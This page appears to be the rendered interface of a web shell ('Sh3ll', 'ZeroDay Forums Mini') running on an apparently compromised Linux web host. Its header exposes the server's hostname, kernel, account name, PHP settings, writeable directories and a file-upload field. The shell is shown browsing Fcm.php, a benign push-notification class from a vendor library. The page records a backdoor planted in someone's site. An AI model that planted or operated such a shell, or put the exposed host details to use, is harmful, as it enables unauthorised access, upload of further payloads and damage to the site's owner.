Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/test.tradze.com/vendor/edujugon/push-notification/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/test.tradze.com/vendor/edujugon/push-notification/src/Fcm.php
<?php

namespace Edujugon\PushNotification;


use GuzzleHttp\Client;

class Fcm extends Gcm
{

    /**
     * Fcm constructor.
     * Override parent constructor.
     */
    public function __construct()
    {
        $this->url = 'https://fcm.googleapis.com/fcm/send';

        $this->config = $this->initializeConfig('fcm');

        $this->client = new Client();
    }

    /**
     * Send notification by topic.
     * if isCondition is true, $topic will be treated as an expression
     *
     * @param $topic
     * @param $message
     * @param bool $isCondition
     * @return object
     */
    public function sendByTopic($topic,$message, $isCondition = false)
    {
        $headers = $this->addRequestHeaders();
        $data = $this->buildData($topic, $message, $isCondition);

        try {
            $result = $this->client->post(
                $this->url,
                [
                    'headers' => $headers,
                    'json' => $data,
                ]
            );

            $json = $result->getBody();

            $this->setFeedback(json_decode($json));

        } catch (\Exception $e) {
            $response = ['success' => false, 'error' => $e->getMessage()];

            $this->setFeedback(json_decode(json_encode($response), FALSE));

        } finally {
            return $this->feedback;
        }
    }

    /**
     * Prepare the data to be sent
     *
     * @param $topic
     * @param $message
     * @param $isCondition
     * @return array
     */
    protected function buildData($topic, $message, $isCondition)
    {
        $condition = $isCondition ? ['condition' => $topic] : ['to' => '/topics/' . $topic];

        return array_merge($condition , $this->buildMessage($message));
    }
}

ZeroDay Forums Mini